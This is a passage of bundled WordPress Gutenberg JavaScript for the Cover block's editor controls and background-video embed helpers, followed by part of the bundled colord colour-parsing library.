      if (isNaN(inputValue) && inputValue !== void 0) {
        return;
      }
      onChange(inputValue);
    };
    const computedValue = (0, import_element20.useMemo)(() => {
      const [parsedQuantity] = (0, import_components31.__experimentalParseQuantityAndUnitFromRawValue)(value);
      return [parsedQuantity, unit].join("");
    }, [unit, value]);
    const min = isPx ? COVER_MIN_HEIGHT : 0;
    return /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
      import_components31.__experimentalUnitControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n48.__)("Minimum height"),
        id: inputId,
        isResetValueOnUnitChange: true,
        min,
        onChange: handleOnChange,
        onUnitChange,
        units,
        value: computedValue
      }
    );
  }
  function CoverInspectorControls({
    attributes: attributes2,
    setAttributes,
    clientId,
    setOverlayColor,
    coverRef,
    currentSettings,
    updateDimRatio,
    featuredImage
  }) {
    const {
      useFeaturedImage,
      id,
      dimRatio,
      focalPoint,
      hasParallax,
      isRepeated,
      minHeight,
      minHeightUnit,
      alt,
      tagName,
      poster
    } = attributes2;
    const {
      isVideoBackground,
      isImageBackground,
      mediaElement,
      url,
      overlayColor
    } = currentSettings;
    const sizeSlug = attributes2.sizeSlug || DEFAULT_MEDIA_SIZE_SLUG;
    const { gradientValue, setGradient } = (0, import_block_editor63.__experimentalUseGradient)();
    const { getSettings: getSettings2 } = (0, import_data29.useSelect)(import_block_editor63.store);
    const imageSizes = getSettings2()?.imageSizes;
    const image = (0, import_data29.useSelect)(
      (select9) => id && isImageBackground ? select9(import_core_data15.store).getEntityRecord(
        "postType",
        "attachment",
        id,
        { context: "view" }
      ) : null,
      [id, isImageBackground]
    );
    const currentBackgroundImage = useFeaturedImage ? featuredImage : image;
    function updateImage(newSizeSlug) {
      const newUrl = currentBackgroundImage?.media_details?.sizes?.[newSizeSlug]?.source_url;
      if (!newUrl) {
        return null;
      }
      setAttributes({
        url: newUrl,
        sizeSlug: newSizeSlug
      });
    }
    const imageSizeOptions = imageSizes?.filter(
      ({ slug }) => currentBackgroundImage?.media_details?.sizes?.[slug]?.source_url
    )?.map(({ name: name123, slug }) => ({ value: slug, label: name123 }));
    const toggleParallax = () => {
      setAttributes({
        hasParallax: !hasParallax,
        ...!hasParallax ? { focalPoint: void 0 } : {}
      });
    };
    const toggleIsRepeated = () => {
      setAttributes({
        isRepeated: !isRepeated
      });
    };
    const showFocalPointPicker = isVideoBackground || isImageBackground;
    const imperativeFocalPointPreview = (value) => {
      const [styleOfRef, property] = mediaElement.current ? [mediaElement.current.style, "objectPosition"] : [coverRef.current.style, "backgroundPosition"];
      styleOfRef[property] = mediaPosition(value);
    };
    const colorGradientSettings = (0, import_block_editor63.__experimentalUseMultipleOriginColorsAndGradients)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(import_jsx_runtime220.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(import_block_editor63.InspectorControls, { children: (!!url || useFeaturedImage) && /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(
        import_components31.__experimentalToolsPanel,
        {
          label: (0, import_i18n48.__)("Settings"),
          resetAll: () => {
            setAttributes({
              hasParallax: false,
              focalPoint: void 0,
              isRepeated: false,
              alt: "",
              poster: void 0
            });
            updateImage(DEFAULT_MEDIA_SIZE_SLUG);
          },
          dropdownMenuProps,
          children: [
            isImageBackground && /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(import_jsx_runtime220.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                import_components31.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n48.__)("Fixed background"),
                  isShownByDefault: true,
                  hasValue: () => !!hasParallax,
                  onDeselect: () => setAttributes({
                    hasParallax: false,
                    focalPoint: void 0
                  }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                    import_components31.ToggleControl,
                    {
                      label: (0, import_i18n48.__)("Fixed background"),
                      checked: !!hasParallax,
                      onChange: toggleParallax
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                import_components31.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n48.__)("Repeated background"),
                  isShownByDefault: true,
                  hasValue: () => isRepeated,
                  onDeselect: () => setAttributes({
                    isRepeated: false
                  }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                    import_components31.ToggleControl,
                    {
                      label: (0, import_i18n48.__)("Repeated background"),
                      checked: isRepeated,
                      onChange: toggleIsRepeated
                    }
                  )
                }
              )
            ] }),
            showFocalPointPicker && /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              import_components31.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n48.__)("Focal point"),
                isShownByDefault: true,
                hasValue: () => !!focalPoint,
                onDeselect: () => setAttributes({
                  focalPoint: void 0
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                  import_components31.FocalPointPicker,
                  {
                    label: (0, import_i18n48.__)("Focal point"),
                    url,
                    value: focalPoint,
                    onDragStart: imperativeFocalPointPreview,
                    onDrag: imperativeFocalPointPreview,
                    onChange: (newFocalPoint) => setAttributes({
                      focalPoint: newFocalPoint
                    })
                  }
                )
              }
            ),
            isVideoBackground && /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              poster_image_default,
              {
                poster,
                onChange: (posterImage) => setAttributes({
                  poster: posterImage?.url
                })
              }
            ),
            !useFeaturedImage && url && !isVideoBackground && /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              import_components31.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n48.__)("Alternative text"),
                isShownByDefault: true,
                hasValue: () => !!alt,
                onDeselect: () => setAttributes({ alt: "" }),
                children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                  import_components31.TextareaControl,
                  {
                    label: (0, import_i18n48.__)("Alternative text"),
                    value: alt,
                    onChange: (newAlt) => setAttributes({ alt: newAlt }),
                    help: /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(import_jsx_runtime220.Fragment, { children: [
                      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                        import_components31.ExternalLink,
                        {
                          href: (
                            // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
                            (0, import_i18n48.__)(
                              "https://www.w3.org/WAI/tutorials/images/decision-tree/"
                            )
                          ),
                          children: (0, import_i18n48.__)(
                            "Describe the purpose of the image."
                          )
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)("br", {}),
                      (0, import_i18n48.__)(
                        "Leave empty if decorative."
                      )
                    ] })
                  }
                )
              }
            ),
            !!imageSizeOptions?.length && /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              ResolutionTool,
              {
                value: sizeSlug,
                onChange: updateImage,
                options: imageSizeOptions,
                defaultValue: DEFAULT_MEDIA_SIZE_SLUG
              }
            )
          ]
        }
      ) }),
      colorGradientSettings.hasColorsOrGradients && /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(import_block_editor63.InspectorControls, { group: "color", children: [
        /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
          import_block_editor63.__experimentalColorGradientSettingsDropdown,
          {
            __experimentalIsRenderedInSidebar: true,
            settings: [
              {
                colorValue: overlayColor.color,
                gradientValue,
                label: (0, import_i18n48.__)("Overlay"),
                onColorChange: setOverlayColor,
                onGradientChange: setGradient,
                isShownByDefault: true,
                resetAllFilter: () => ({
                  overlayColor: void 0,
                  customOverlayColor: void 0,
                  gradient: void 0,
                  customGradient: void 0
                }),
                clearable: true
              }
            ],
            panelId: clientId,
            ...colorGradientSettings
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
          import_components31.__experimentalToolsPanelItem,
          {
            hasValue: () => {
              return dimRatio === void 0 ? false : dimRatio !== (url ? 50 : 100);
            },
            label: (0, import_i18n48.__)("Overlay opacity"),
            onDeselect: () => updateDimRatio(url ? 50 : 100),
            resetAllFilter: () => ({
              dimRatio: url ? 50 : 100
            }),
            isShownByDefault: true,
            panelId: clientId,
            children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              import_components31.RangeControl,
              {
                label: (0, import_i18n48.__)("Overlay opacity"),
                value: dimRatio,
                onChange: (newDimRatio) => updateDimRatio(newDimRatio),
                min: 0,
                max: 100,
                step: 10,
                required: true,
                __next40pxDefaultSize: true
              }
            )
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(import_block_editor63.InspectorControls, { group: "dimensions", children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
        import_components31.__experimentalToolsPanelItem,
        {
          className: "single-column",
          hasValue: () => !!minHeight,
          label: (0, import_i18n48.__)("Minimum height"),
          onDeselect: () => setAttributes({
            minHeight: void 0,
            minHeightUnit: void 0
          }),
          resetAllFilter: () => ({
            minHeight: void 0,
            minHeightUnit: void 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
            CoverHeightInput,
            {
              value: attributes2?.style?.dimensions?.aspectRatio ? "" : minHeight,
              unit: minHeightUnit,
              onChange: (newMinHeight) => setAttributes({
                minHeight: newMinHeight,
                style: cleanEmptyObject2({
                  ...attributes2?.style,
                  dimensions: {
                    ...attributes2?.style?.dimensions,
                    aspectRatio: void 0
                    // Reset aspect ratio when minHeight is set.
                  }
                })
              }),
              onUnitChange: (nextUnit) => setAttributes({
                minHeightUnit: nextUnit
              })
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(import_block_editor63.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
        HTMLElementControl3,
        {
          tagName,
          onChange: (value) => setAttributes({ tagName: value }),
          clientId,
          options: [
            { label: (0, import_i18n48.__)("Default (<div>)"), value: "div" },
            { label: "<header>", value: "header" },
            { label: "<main>", value: "main" },
            { label: "<section>", value: "section" },
            { label: "<article>", value: "article" },
            { label: "<aside>", value: "aside" },
            { label: "<footer>", value: "footer" }
          ]
        }
      ) })
    ] });
  }

  // packages/block-library/build-module/cover/edit/block-controls.mjs
  var import_element22 = __toESM(require_element(), 1);
  var import_block_editor64 = __toESM(require_block_editor(), 1);
  var import_i18n50 = __toESM(require_i18n(), 1);
  var import_components33 = __toESM(require_components(), 1);

  // packages/block-library/build-module/cover/edit/embed-video-url-input.mjs
  var import_element21 = __toESM(require_element(), 1);
  var import_components32 = __toESM(require_components(), 1);
  var import_i18n49 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/cover/embed-video-utils.mjs
  var import_blocks21 = __toESM(require_blocks(), 1);
  var DEFAULT_EMBED_BLOCK2 = "core/embed";
  var VIDEO_PROVIDERS = [
    "youtube",
    "vimeo",
    "videopress",
    "animoto",
    "tiktok",
    "wordpress-tv"
  ];
  function isValidVideoEmbedUrl(url) {
    if (!url) {
      return false;
    }
    const embedBlock = findVideoEmbedProvider(url);
    return embedBlock !== null;
  }
  function findVideoEmbedProvider(url) {
    const embedVariations = (0, import_blocks21.getBlockVariations)(DEFAULT_EMBED_BLOCK2);
    if (!embedVariations) {
      return null;
    }
    const matchingVariation = embedVariations.find(
      ({ patterns }) => matchesPatterns(url, patterns)
    );
    if (!matchingVariation || !VIDEO_PROVIDERS.includes(matchingVariation.name)) {
      return null;
    }
    return matchingVariation;
  }
  function getBackgroundEmbedHtml(html) {
    const srcMatch = html?.match(/src=["']([^"']+)["']/);
    if (!srcMatch) {
      return null;
    }
    const iframeSrc = srcMatch[1];
    const backgroundSrc = getBackgroundVideoSrc(iframeSrc);
    return html.replace(iframeSrc, backgroundSrc);
  }
  function detectProviderFromSrc(src) {
    if (!src) {
      return null;
    }
    const lowerSrc = src.toLowerCase();
    if (lowerSrc.includes("youtube.com") || lowerSrc.includes("youtu.be")) {
      return "youtube";
    }
    if (lowerSrc.includes("vimeo.com")) {
      return "vimeo";
    }
    if (lowerSrc.includes("videopress.com")) {
      return "videopress";
    }
    if (lowerSrc.includes("animoto.com")) {
      return "animoto";
    }
    if (lowerSrc.includes("tiktok.com")) {
      return "tiktok";
    }
    if (lowerSrc.includes("wordpress.tv")) {
      return "wordpress-tv";
    }
    return null;
  }
  function getBackgroundVideoSrc(src) {
    if (!src) {
      return src;
    }
    try {
      const url = new URL(src);
      const provider = detectProviderFromSrc(src);
      switch (provider) {
        case "youtube":
          url.searchParams.set("autoplay", "1");
          url.searchParams.set("mute", "1");
          url.searchParams.set("loop", "1");
          url.searchParams.set("controls", "0");
          url.searchParams.set("showinfo", "0");
          url.searchParams.set("modestbranding", "1");
          url.searchParams.set("playsinline", "1");
          url.searchParams.set("rel", "0");
          const videoId = url.pathname.split("/").pop();
          if (videoId) {
            url.searchParams.set("playlist", videoId);
          }
          break;
        case "vimeo":
          url.searchParams.set("autoplay", "1");
          url.searchParams.set("muted", "1");
          url.searchParams.set("loop", "1");
          url.searchParams.set("background", "1");
          url.searchParams.set("controls", "0");
          break;
        case "videopress":
        case "wordpress-tv":
          url.searchParams.set("autoplay", "1");
          url.searchParams.set("loop", "1");
          url.searchParams.set("muted", "1");
          break;
        default:
          url.searchParams.set("autoplay", "1");
          url.searchParams.set("muted", "1");
          url.searchParams.set("loop", "1");
          break;
      }
      return url.toString();
    } catch (error) {
      return src;
    }
  }

  // packages/block-library/build-module/cover/edit/embed-video-url-input.mjs
  var import_jsx_runtime221 = __toESM(require_jsx_runtime(), 1);
  function EmbedVideoUrlInput({
    onSubmit,
    onClose,
    initialUrl = ""
  }) {
    const [url, setUrl] = (0, import_element21.useState)(initialUrl);
    const [error, setError] = (0, import_element21.useState)("");
    const handleConfirm = () => {
      if (!url) {
        setError((0, import_i18n49.__)("Please enter a URL."));
        return;
      }
      if (!isValidVideoEmbedUrl(url)) {
        setError(
          (0, import_i18n49.__)(
            "This URL is not supported. Please enter a valid video link from a supported provider."
          )
        );
        return;
      }
      onSubmit(url);
      onClose();
    };
    return /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(
      import_components32.__experimentalConfirmDialog,
      {
        isOpen: true,
        onConfirm: handleConfirm,
        onCancel: onClose,
        confirmButtonText: (0, import_i18n49.__)("Add video"),
        size: "medium",
        children: /* @__PURE__ */ (0, import_jsx_runtime221.jsxs)(import_components32.__experimentalVStack, { spacing: 4, children: [
          error && /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(import_components32.Notice, { status: "error", isDismissible: false, children: error }),
          /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(
            import_components32.TextControl,
            {
              type: "url",
              __next40pxDefaultSize: true,
              label: (0, import_i18n49.__)("Video URL"),
              value: url,
              onChange: (value) => {
                setUrl(value);
                setError("");
              },
              placeholder: (0, import_i18n49.__)(
                "Enter YouTube, Vimeo, or other video URL"
              ),
              help: (0, import_i18n49.__)(
                "Add a background video to the cover block that will autoplay in a loop."
              )
            }
          )
        ] })
      }
    );
  }

  // packages/block-library/build-module/cover/edit/block-controls.mjs
  var import_jsx_runtime222 = __toESM(require_jsx_runtime(), 1);
  var { cleanEmptyObject: cleanEmptyObject3 } = unlock(import_block_editor64.privateApis);
  function CoverBlockControls({
    attributes: attributes2,
    setAttributes,
    onSelectMedia,
    currentSettings,
    toggleUseFeaturedImage,
    onClearMedia,
    onSelectEmbedUrl,
    blockEditingMode
  }) {
    const {
      contentPosition,
      id,
      useFeaturedImage,
      minHeight,
      minHeightUnit,
      backgroundType
    } = attributes2;
    const { hasInnerBlocks, url } = currentSettings;
    const [prevMinHeightValue, setPrevMinHeightValue] = (0, import_element22.useState)(minHeight);
    const [prevMinHeightUnit, setPrevMinHeightUnit] = (0, import_element22.useState)(minHeightUnit);
    const [isEmbedUrlInputOpen, setIsEmbedUrlInputOpen] = (0, import_element22.useState)(false);
    const isMinFullHeight = minHeightUnit === "vh" && minHeight === 100 && !attributes2?.style?.dimensions?.aspectRatio;
    const isContentOnlyMode = blockEditingMode === "contentOnly";
    const toggleMinFullHeight = () => {
      if (isMinFullHeight) {
        if (prevMinHeightUnit === "vh" && prevMinHeightValue === 100) {
          return setAttributes({
            minHeight: void 0,
            minHeightUnit: void 0
          });
        }
        return setAttributes({
          minHeight: prevMinHeightValue,
          minHeightUnit: prevMinHeightUnit
        });
      }
      setPrevMinHeightValue(minHeight);
      setPrevMinHeightUnit(minHeightUnit);
      return setAttributes({
        minHeight: 100,
        minHeightUnit: "vh",
        style: cleanEmptyObject3({
          ...attributes2?.style,
          dimensions: {
            ...attributes2?.style?.dimensions,
            aspectRatio: void 0
            // Reset aspect ratio when minHeight is set.
          }
        })
      });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime222.jsxs)(import_jsx_runtime222.Fragment, { children: [
      !isContentOnlyMode && /* @__PURE__ */ (0, import_jsx_runtime222.jsxs)(import_block_editor64.BlockControls, { group: "block", children: [
        /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
          import_block_editor64.__experimentalBlockAlignmentMatrixControl,
          {
            label: (0, import_i18n50.__)("Change content position"),
            value: contentPosition,
            onChange: (nextPosition) => setAttributes({
              contentPosition: nextPosition
            }),
            isDisabled: !hasInnerBlocks
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
          import_block_editor64.__experimentalBlockFullHeightAligmentControl,
          {
            isActive: isMinFullHeight,
            onToggle: toggleMinFullHeight,
            isDisabled: !hasInnerBlocks
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(import_block_editor64.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
        import_block_editor64.MediaReplaceFlow,
        {
          mediaId: id,
          mediaURL: url,
          allowedTypes: ALLOWED_MEDIA_TYPES2,
          onSelect: onSelectMedia,
          onToggleFeaturedImage: toggleUseFeaturedImage,
          useFeaturedImage,
          name: !url ? (0, import_i18n50.__)("Add media") : (0, import_i18n50.__)("Replace"),
          onReset: onClearMedia,
          variant: "toolbar",
          children: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
            import_components33.MenuItem,
            {
              icon: link_default,
              onClick: () => {
                setIsEmbedUrlInputOpen(true);
                onClose();
              },
              children: (0, import_i18n50.__)("Embed video from URL")
            }
          )
        }
      ) }),
      isEmbedUrlInputOpen && /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
        EmbedVideoUrlInput,
        {
          onSubmit: (embedUrl) => {
            onSelectEmbedUrl(embedUrl);
          },
          onClose: () => setIsEmbedUrlInputOpen(false),
          initialUrl: backgroundType === EMBED_VIDEO_BACKGROUND_TYPE ? url : ""
        }
      )
    ] });
  }

  // packages/block-library/build-module/cover/edit/cover-placeholder.mjs
  var import_block_editor65 = __toESM(require_block_editor(), 1);
  var import_i18n51 = __toESM(require_i18n(), 1);
  var import_jsx_runtime223 = __toESM(require_jsx_runtime(), 1);
  function CoverPlaceholder({
    disableMediaButtons = false,
    children,
    onSelectMedia,
    onError,
    style: style2,
    toggleUseFeaturedImage
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime223.jsx)(
      import_block_editor65.MediaPlaceholder,
      {
        icon: /* @__PURE__ */ (0, import_jsx_runtime223.jsx)(import_block_editor65.BlockIcon, { icon: cover_default }),
        labels: {
          title: (0, import_i18n51.__)("Cover")
        },
        onSelect: onSelectMedia,
        allowedTypes: ALLOWED_MEDIA_TYPES2,
        disableMediaButtons,
        onToggleFeaturedImage: toggleUseFeaturedImage,
        onError,
        style: style2,
        children
      }
    );
  }

  // packages/block-library/build-module/cover/edit/resizable-cover-popover.mjs
  var import_element23 = __toESM(require_element(), 1);
  var import_block_editor66 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime224 = __toESM(require_jsx_runtime(), 1);
  var RESIZABLE_BOX_ENABLE_OPTION = {
    top: false,
    right: false,
    bottom: true,
    left: false,
    topRight: false,
    bottomRight: false,
    bottomLeft: false,
    topLeft: false
  };
  var { ResizableBoxPopover } = unlock(import_block_editor66.privateApis);
  function ResizableCoverPopover({
    className,
    height,
    minHeight,
    onResize,
    onResizeStart,
    onResizeStop,
    showHandle,
    size,
    width,
    ...props
  }) {
    const [isResizing, setIsResizing] = (0, import_element23.useState)(false);
    const resizableBoxProps = {
      className: clsx_default(className, { "is-resizing": isResizing }),
      enable: RESIZABLE_BOX_ENABLE_OPTION,
      onResizeStart: (_event, _direction, elt) => {
        onResizeStart(elt.clientHeight);
        onResize(elt.clientHeight);
      },
      onResize: (_event, _direction, elt) => {
        onResize(elt.clientHeight);
        if (!isResizing) {
          setIsResizing(true);
        }
      },
      onResizeStop: (_event, _direction, elt) => {
        onResizeStop(elt.clientHeight);
        setIsResizing(false);
      },
      showHandle,
      size,
      __experimentalShowTooltip: true,
      __experimentalTooltipProps: {
        axis: "y",
        position: "bottom",
        isVisible: isResizing
      }
    };
    return /* @__PURE__ */ (0, import_jsx_runtime224.jsx)(
      ResizableBoxPopover,
      {
        className: "block-library-cover__resizable-box-popover",
        resizableBoxProps,
        ...props
      }
    );
  }

  // node_modules/colord/index.mjs
  var r2 = { grad: 0.9, turn: 360, rad: 360 / (2 * Math.PI) };
  var t = function(r3) {
    return "string" == typeof r3 ? r3.length > 0 : "number" == typeof r3;
  };
  var n = function(r3, t2, n2) {
    return void 0 === t2 && (t2 = 0), void 0 === n2 && (n2 = Math.pow(10, t2)), Math.round(n2 * r3) / n2 + 0;
  };
  var e = function(r3, t2, n2) {
    return void 0 === t2 && (t2 = 0), void 0 === n2 && (n2 = 1), r3 > n2 ? n2 : r3 > t2 ? r3 : t2;
  };
  var u = function(r3) {
    return (r3 = isFinite(r3) ? r3 % 360 : 0) > 0 ? r3 : r3 + 360;
  };
  var a = function(r3) {
    return { r: e(r3.r, 0, 255), g: e(r3.g, 0, 255), b: e(r3.b, 0, 255), a: e(r3.a) };
  };
  var o = function(r3) {
    return { r: n(r3.r), g: n(r3.g), b: n(r3.b), a: n(r3.a, 3) };
  };
  var i = /^#([0-9a-f]{3,8})$/i;
  var s = function(r3) {
    var t2 = r3.toString(16);
    return t2.length < 2 ? "0" + t2 : t2;
  };
  var h = function(r3) {
    var t2 = r3.r, n2 = r3.g, e2 = r3.b, u2 = r3.a, a2 = Math.max(t2, n2, e2), o2 = a2 - Math.min(t2, n2, e2), i2 = o2 ? a2 === t2 ? (n2 - e2) / o2 : a2 === n2 ? 2 + (e2 - t2) / o2 : 4 + (t2 - n2) / o2 : 0;
    return { h: 60 * (i2 < 0 ? i2 + 6 : i2), s: a2 ? o2 / a2 * 100 : 0, v: a2 / 255 * 100, a: u2 };
  };
  var b = function(r3) {
    var t2 = r3.h, n2 = r3.s, e2 = r3.v, u2 = r3.a;
    t2 = t2 / 360 * 6, n2 /= 100, e2 /= 100;
    var a2 = Math.floor(t2), o2 = e2 * (1 - n2), i2 = e2 * (1 - (t2 - a2) * n2), s2 = e2 * (1 - (1 - t2 + a2) * n2), h2 = a2 % 6;
    return { r: 255 * [e2, i2, o2, o2, s2, e2][h2], g: 255 * [s2, e2, e2, i2, o2, o2][h2], b: 255 * [o2, o2, s2, e2, e2, i2][h2], a: u2 };
  };
  var g = function(r3) {
    return { h: u(r3.h), s: e(r3.s, 0, 100), l: e(r3.l, 0, 100), a: e(r3.a) };
  };
  var d = function(r3) {
    return { h: n(r3.h), s: n(r3.s), l: n(r3.l), a: n(r3.a, 3) };
  };
  var f = function(r3) {
    return b((n2 = (t2 = r3).s, { h: t2.h, s: (n2 *= ((e2 = t2.l) < 50 ? e2 : 100 - e2) / 100) > 0 ? 2 * n2 / (e2 + n2) * 100 : 0, v: e2 + n2, a: t2.a }));
    var t2, n2, e2;
  };
  var c = function(r3) {
    return { h: (t2 = h(r3)).h, s: (u2 = (200 - (n2 = t2.s)) * (e2 = t2.v) / 100) > 0 && u2 < 200 ? n2 * e2 / 100 / (u2 <= 100 ? u2 : 200 - u2) * 100 : 0, l: u2 / 2, a: t2.a };
    var t2, n2, e2, u2;
  };
  var l = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var p = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var v = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var m = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var y = { string: [[function(r3) {
    var t2 = i.exec(r3);
    return t2 ? (r3 = t2[1]).length <= 4 ? { r: parseInt(r3[0] + r3[0], 16), g: parseInt(r3[1] + r3[1], 16), b: parseInt(r3[2] + r3[2], 16), a: 4 === r3.length ? n(parseInt(r3[3] + r3[3], 16) / 255, 2) : 1 } : 6 === r3.length || 8 === r3.length ? { r: parseInt(r3.substr(0, 2), 16), g: parseInt(r3.substr(2, 2), 16), b: parseInt(r3.substr(4, 2), 16), a: 8 === r3.length ? n(parseInt(r3.substr(6, 2), 16) / 255, 2) : 1 } : null : null;
  }, "hex"], [function(r3) {
    var t2 = v.exec(r3) || m.exec(r3);
    return t2 ? t2[2] !== t2[4] || t2[4] !== t2[6] ? null : a({ r: Number(t2[1]) / (t2[2] ? 100 / 255 : 1), g: Number(t2[3]) / (t2[4] ? 100 / 255 : 1), b: Number(t2[5]) / (t2[6] ? 100 / 255 : 1), a: void 0 === t2[7] ? 1 : Number(t2[7]) / (t2[8] ? 100 : 1) }) : null;
  }, "rgb"], [function(t2) {
    var n2 = l.exec(t2) || p.exec(t2);
    if (!n2) return null;
    var e2, u2, a2 = g({ h: (e2 = n2[1], u2 = n2[2], void 0 === u2 && (u2 = "deg"), Number(e2) * (r2[u2] || 1)), s: Number(n2[3]), l: Number(n2[4]), a: void 0 === n2[5] ? 1 : Number(n2[5]) / (n2[6] ? 100 : 1) });
    return f(a2);
  }, "hsl"]], object: [[function(r3) {
    var n2 = r3.r, e2 = r3.g, u2 = r3.b, o2 = r3.a, i2 = void 0 === o2 ? 1 : o2;
    return t(n2) && t(e2) && t(u2) ? a({ r: Number(n2), g: Number(e2), b: Number(u2), a: Number(i2) }) : null;
  }, "rgb"], [function(r3) {
    var n2 = r3.h, e2 = r3.s, u2 = r3.l, a2 = r3.a, o2 = void 0 === a2 ? 1 : a2;
    if (!t(n2) || !t(e2) || !t(u2)) return null;
    var i2 = g({ h: Number(n2), s: Number(e2), l: Number(u2), a: Number(o2) });
    return f(i2);
  }, "hsl"], [function(r3) {
    var n2 = r3.h, a2 = r3.s, o2 = r3.v, i2 = r3.a, s2 = void 0 === i2 ? 1 : i2;
    if (!t(n2) || !t(a2) || !t(o2)) return null;
    var h2 = (function(r4) {
      return { h: u(r4.h), s: e(r4.s, 0, 100), v: e(r4.v, 0, 100), a: e(r4.a) };
    })({ h: Number(n2), s: Number(a2), v: Number(o2), a: Number(s2) });
    return b(h2);
  }, "hsv"]] };
  var N = function(r3, t2) {
    for (var n2 = 0; n2 < t2.length; n2++) {
      var e2 = t2[n2][0](r3);
      if (e2) return [e2, t2[n2][1]];
    }
    return [null, void 0];
  };
  var x = function(r3) {
    return "string" == typeof r3 ? N(r3.trim(), y.string) : "object" == typeof r3 && null !== r3 ? N(r3, y.object) : [null, void 0];
  };
  var M = function(r3, t2) {
    var n2 = c(r3);
    return { h: n2.h, s: e(n2.s + 100 * t2, 0, 100), l: n2.l, a: n2.a };
  };
  var H = function(r3) {
    return (299 * r3.r + 587 * r3.g + 114 * r3.b) / 1e3 / 255;
  };
  var $ = function(r3, t2) {
    var n2 = c(r3);
    return { h: n2.h, s: n2.s, l: e(n2.l + 100 * t2, 0, 100), a: n2.a };
  };
  var j = (function() {
    function r3(r4) {
      this.parsed = x(r4)[0], this.rgba = this.parsed || { r: 0, g: 0, b: 0, a: 1 };
    }
    return r3.prototype.isValid = function() {
      return null !== this.parsed;
    }, r3.prototype.brightness = function() {
      return n(H(this.rgba), 2);
    }, r3.prototype.isDark = function() {
      return H(this.rgba) < 0.5;
    }, r3.prototype.isLight = function() {
      return H(this.rgba) >= 0.5;
    }, r3.prototype.toHex = function() {
      return r4 = o(this.rgba), t2 = r4.r, e2 = r4.g, u2 = r4.b, i2 = (a2 = r4.a) < 1 ? s(n(255 * a2)) : "", "#" + s(t2) + s(e2) + s(u2) + i2;
      var r4, t2, e2, u2, a2, i2;
    }, r3.prototype.toRgb = function() {
      return o(this.rgba);
    }, r3.prototype.toRgbString = function() {
      return r4 = o(this.rgba), t2 = r4.r, n2 = r4.g, e2 = r4.b, (u2 = r4.a) < 1 ? "rgba(" + t2 + ", " + n2 + ", " + e2 + ", " + u2 + ")" : "rgb(" + t2 + ", " + n2 + ", " + e2 + ")";
      var r4, t2, n2, e2, u2;
    }, r3.prototype.toHsl = function() {
      return d(c(this.rgba));
    }, r3.prototype.toHslString = function() {
      return r4 = d(c(this.rgba)), t2 = r4.h, n2 = r4.s, e2 = r4.l, (u2 = r4.a) < 1 ? "hsla(" + t2 + ", " + n2 + "%, " + e2 + "%, " + u2 + ")" : "hsl(" + t2 + ", " + n2 + "%, " + e2 + "%)";
